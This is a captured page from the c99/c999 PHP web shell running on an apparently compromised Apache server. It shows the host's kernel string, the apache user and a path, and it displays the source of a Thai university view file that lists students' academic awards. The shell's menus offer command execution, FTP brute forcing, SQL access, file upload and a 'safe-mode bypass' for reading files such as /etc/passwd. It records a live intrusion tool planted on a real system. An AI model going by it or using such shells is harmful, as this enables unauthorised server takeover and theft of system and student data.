!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/esa/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_studentAcademic.php (9.12 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<link rel="stylesheet" href="<?=base_url();?>/js/textboxlist_proto/textboxlist.css" type="text/css" media="screen" title="Test Stylesheet" charset="utf-8" />
<script src="<?=base_url();?>/js/textboxlist_proto/protoculous-effects-shrinkvars.js" type="text/javascript" charset="utf-8"></script>
<script src="<?=base_url();?>/js/textboxlist_proto/textboxlist.js" type="text/javascript" charset="utf-8"></script>
<script src="<?=base_url();?>/js/textboxlist_proto/textboxlistauto.js" type="text/javascript" charset="utf-8"></script>
<script type="text/javascript">

document.observe('dom:loaded', function() {
  // init
    tlist1 = new FacebookList('wk11_co', 'wk11_auto');
    var get_user_list_url = "<?=site_url("esa/search/get_std_list")?>";        
  // fetch and feed
    new Ajax.Request(get_user_list_url, {
    onSuccess: function(transport) {
        transport.responseText.evalJSON(true).each(function(t){tlist1.autoFeed(t)});
    }
    });
});


Element.addMethods({
    onBoxDispose: function(item,obj) { obj.autoFeed(item.retrieveData('text')); },
    onInputFocus: function(el,obj) { obj.autoShow(); },    
    onInputBlur: function(el,obj) { 
      obj.lastinput = el;
      obj.blurhide = obj.autoHide.bind(obj).delay(0.1);
    },
    filter:function(D,E){var C=[];for(var B=0,A=this.length;B<A;B++){if(D.call(E,this[B],B,this)){C.push(this[B]);}}return C;}
});

function do_submit2 (action) {
    if (action) {
        jQuery("#myform").attr('action', action);
    }

    var mb_id = jQuery("#mb_id").val();
    if (mb_id == '') {
        tlist1.update();
    }

    jQuery("#myform").submit();
}
</script>
<?php
    $_image_clip 
= array(
        
'src' => 'images/esa/clip.gif',
        
'width' => '15',
        
'height' => '15',
        
'border' => '0',
        
'title' => 'เอกสารประกอบ',
        
'onmouseover' => "this.style.cursor='pointer'"
    
);
    
$_image_add = array(
        
'src' => 'images/esa/add.gif',
        
'width' => '15',
        
'height' => '15',
        
'border' => '0',
        
'title' => 'จัดการเอกสารประกอบ',
        
'onmouseover' => "this.style.cursor='pointer'"
    
);
    
$_image_del = array(
    
'src' => 'images/esa/delete.png',
    
'width' => '15',
    
'height' => '15',
    
'border' => '0',
    
'title' => 'ลบข้อมูล',
    
'onclick' => 'return confirm("คุณต้องการลบใช้หรือไม่")',
    
'onmouseover' => "this.style.cursor='pointer'"
);
?>
<?php
$row_srw 
= (isset($qu_srw) && $qu_srw!=NULL) ? $qu_srw->row() : NULL;
echo 
form_open_multipart($this->config->item('sa_folder').'academic/srw_insert_update', array("name" => "myform""id" => "myform"));?>

<table width="80%" align="center">
    <tr>
        <td align="center"><h3>บันทึกผลงานวิชาการ/นวัตกรรม</h3></td>
    </tr>
    <tr>
        <th align="center" colspan="2"></th>
    </tr>
    <tr>
        <td>
<table id="table_input" class='szone2' width="100%" border="0">
    <tr>
        <th width="20%" align="right">ผลงานวิชาการ/นวัตกรรม</th>
        <td width="80%" ><input type="text" name="srwRewardName" id="srwRewardName" value="<?php echo set_value('srwRewardName'setValue('srwRewardName',$row_srw));?>" size="30" maxlength="70" /><span class="error"> *</span>
        <?php echo form_error('srwRewardName');?></td>
    </tr>
    <tr>
        <th>รายละเอียด </th>
        <td>
<?php
            $attr 
= array('name'        => 'srwDescription',
                          
'id'            => 'srwDescription',
                          
'value'        => set_value('srwDescription',setValue('srwDescription',$row_srw)),
                          
'rows'        => '3',
                          
'cols'        => '50');

            echo 
form_textarea($attr);
?>
            <span class="error">*</span><?php echo form_error('srwDescription');?>
        </td>
    </tr>
    <tr>
        <th>รายชื่อนักศึกษา </th>
        <td id="is_list" class="input-text">
        <input type="text" value="" name="wk11_co" id="wk11_co" />    <!-- 2. textbox's name & id -->
            <div id="wk11_auto"> <!-- 3. div's  id -->
                <div class="default">กรุณากรอกชื่อนักศึกษา</div>
                <ul class="feed">
        <?php
                            
if (isset($qu_srw)) {
                                foreach(
$qu_srw->result() as $row) {
        
?>
                            <li value="<?php echo getval('stdId'$row); ?>"><?php
                            
echo setValue('stdCode',$row).': '.setValue('stdName'$row).' '.setValue('stdSurname'$row);
                            
?></li>
        <?php                    }
                            }
        
?>
                </ul>
            </div>
            <?php echo form_error('wk11_co');?>
        </td>
    </tr>
    <tr>
        <th>วันที่ได้รับ </th>
        <?
        $tmp 
getNowDateFw2();
        if(
set_value('srwReceiveDate'setValue('srwReceiveDate',$row_srw))){
            
$tmp splitDateDb2(set_value('srwReceiveDate'setValue('srwReceiveDate',$row_srw)),'/');
        }
        
?>
        <td><script>DateInput('srwReceiveDate', true, 'DD/MM/YYYY', "<?=$tmp;?>");</script></td>
    </tr>
    <tr>
        <td colspan="2" align="center">
        <input type="hidden" name="srwRewardNameOld" id="srwRewardNameOld" value="<?php echo setValue('srwRewardName',$row_srw);?>" />
        <input type="hidden" name="srwReceiveDateOld" id="srwReceiveDateOld" value="<?php echo setValue('srwReceiveDate',$row_srw);?>" />
        <input type="submit" name="record" value="บันทึก" onclick="javascript:do_submit();"/>
        <input type="submit" id="btnCancel" name="btnCancel" value="ยกเลิก" />
        </td>
    </tr>
</table>
        </td>
    </tr>
</table>
<div align='right'>
<table width="10%" align="right">
    <tr>
        <td nowrap>วันที่ได้รับ : </td>
        <td><script>DateInput('v_search', true, 'DD/MM/YYYY', "<?=$v_search;?>");</script></td>
        <td><input type="button" id="btnSearch" name="btnSearch" value="ค้นหา" onClick="do_submit('<?php echo site_url($this->config->item('sa_folder').'academic/srw_input');?>')" /></td>
    </tr>
</table>
</div>

<table id="table_show" class='tb_1' width="100%" border="0">
    <tr>
        <th align="center" width="50px">ลำดับที่</th>
        <th align="center" width="100px">รหัสนักศึกษา</th>
        <th align="center">ชื่อ-สกุลนักศึกษา</th>
        <!-- <th align="center">ผลงานวิชาการ/นวัตกรรม</th> -->
        <th align="center" width="120px">วันที่ได้รับ</th>
        <th align="center" width="100px">เอกสารประกอบ</th>
        <th align="center" width="50px">แก้ไข</th>
        <th align="center" width="50px">ลบ</th>
    </tr>
<?php 
if(isset($arr) && count($arr)) {
    foreach(
$arr as $key => $val) {
?>
    <tr>
        <td colspan="4"><b><?php echo "ผลงานวิชาการ/นวัตกรรม : ".$val['srwRewardName'];?><b/></td>
        <td align="center">
        <span class="hand" onClick="sendPost('f_attach', {'srwRewardName':'<?php echo $val['srwRewardName'];?>','srwReceiveDate':'<?php echo $val['srwReceiveDate'];?>'}, 'srw_attachFile')"><?php echo img($_image_add);?></span></td>
        <td align="center"><span class="hand" onClick="sendPost('myform_edit', {'srwRewardName':'<?php echo $val['srwRewardName'];?>','srwReceiveDate':'<?php echo $val['srwReceiveDate'];?>','v_search':'<?php echo $v_search;?>'}, 'srw_input')"><?php echo img($this->config->item('sa_image_reply'));?></span></td>
        <td align="center">
        <span onClick="confirmDel2(
        {'srwRewardName':'<?php echo $val['srwRewardName'];?>','srwReceiveDate':'<?php echo $val['srwReceiveDate'];?>','v_search':'<?php echo $v_search;?>'}, 'myform_del','<?php echo site_url($this->config->item('sa_folder').'academic/srw_delete');?>')" />
        <img src="<?php echo base_url().$this->config->item('rg_delete');?>" align="absmiddle" border="0" width="16" height="19" class="hand"/></span>
        </td>
    </tr>
<?php
        $i
=0;
        if(
$val['std']->num_rows()) {
            foreach(
$val['std']->result() as $row_std) {
?>
    <tr>
        <td align="center"><?php echo $i+1;?></td>
        <td align="center"><?php echo $row_std->stdCode;?></td>
        <td><?php echo $row_std->prefixName.$row_std->stdName." ".$row_std->stdSurname;?></td>
        <td><?php echo fullDate2($row_std->srwReceiveDate);?></td>
        <td align="center">
            <?php if ($row_std->srwuId) { ?>
            <span class="hand" onClick="sendPost('f_attach_std', {'srwRewardName':'<?php echo $val['srwRewardName'];?>','srwReceiveDate':'<?php echo $val['srwReceiveDate'];?>','stdId':<?php echo $row_std->stdId;?>}, 'srw_attachFile')"><?php echo img($_image_clip);?></span>
            <?php }?>
        </td>
        <td align="center"></td>
        <td align="center">
        <span onClick="confirmDel2(
        {srwStdId:<?php echo $row_std->srwStdId;?>,
         srwSeq:<?php echo $row_std->srwSeq;?>}, 'm_form1','<?php echo site_url($this->config->item('sa_folder').'academic/srw_delete');?>')" />
        <img src="<?php echo base_url().$this->config->item('rg_delete');?>" align="absmiddle" border="0" width="16" height="19" class="hand"/></span></td>
    </tr>
<?php
                $i
++;
            }
        }
    }
} else {
?>
    <tr class="notfound">
        <td colspan="7" align="center"><?php echo $this->config->item('sa_not_found');?></td>
    </tr>
<?php 
}
?>
</table>
<?php echo form_close();?>
<script language="javascript">
function do_submit(action){
    tlist1.update(); 
    document.myform.submit();

    if(action) {
        jQuery("#myform").attr('action', action);
    }
    jQuery("#myform").submit();
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0128 ]--